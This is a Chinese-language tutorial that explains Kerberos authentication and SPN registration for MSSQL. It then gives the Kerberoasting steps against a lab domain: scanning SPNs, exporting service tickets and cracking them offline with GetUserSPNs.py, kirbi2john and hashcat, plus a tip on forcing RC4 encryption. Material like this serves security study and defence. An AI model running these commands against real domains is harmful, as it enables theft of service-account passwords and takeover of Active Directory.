SPNs
首先了解一下Kerberos认证协议
Kerberos Overview & Communication Process:
KDC(Key Distribution Center)有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。
User logs on with username & password.
客户端认证
- 客户端将用户id明文消息发送到AS。
- AS返回使用客户端用户密码加密的会话密钥session key和使用krbegt密码加密的TGT。
- 客户端使用用户密码解密消息获得会话密钥,该会话密钥用于与TGS的进一步通信。
客户服务授权
- 客户端发送TGT和用Client/TGS会话密钥加密的认证器。
- TGS解密TGT获得会话密钥并用此密钥解密认证器,如果id匹配则返回使用服务密码加密的客户端到服务器的票据和使用Client/TGS会话密钥加密的客户端/服务器会话密钥session key2。
客户服务请求
- 客户端发送一个用session key2加密的新的Authenticator和服务票据。
- 服务器用自己密码解密服务票据并提供服务。
Service Principal Names
服务主体名称 (SPN) 是服务实例的唯一标识符。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。以为MSSQL服务配置SPN为例。
https://technet.microsoft.com/zh-cn/library/bb735885.aspx
S1. 为 SQL Server 服务帐户注册SPN。
手动注册
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
对于命名实例
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname
查看用户对应的SPNsetspn -L ruos\sql-service
使用ADSI(adsiedit.msc)查看用户属性
S2. 在AD上为用户指定服务登陆权限。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment
Log on as a service
S3. 更改 SQL Server 服务帐户为域用户帐户。
暴力破解Kerberos TGS Tickets
由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。
S1. SPN扫描
setspn -T domain -q */*
或者
https://github.com/PyroTek3/PowerShell-AD-Recon/
S2. 请求SPN Kerberos Tickets
S3. 查看并导出票据
默认配置加密类型是aes256_hmac,tgsrepcrack无法破解,可在服务器组策略指定加密类型为RC4_HMAC_MD5。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Network security: Configure encryption types allowed for Kerberos
S4. 离线破解
tgsrepcrack(仅对RC4_HMAC_MD5),或者保存hash使用hashcat破解。
S1.导出hash(用于其他加密类型)
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
或者从票据中导出 kirbi2john.py 1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi
S2. hashcat64.exe -m 13100 hash.txt example.dict –force
https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py
其他
https://msdn.microsoft.com/zh-cn/library/windows/apps/dn194200(v=sql.110).aspx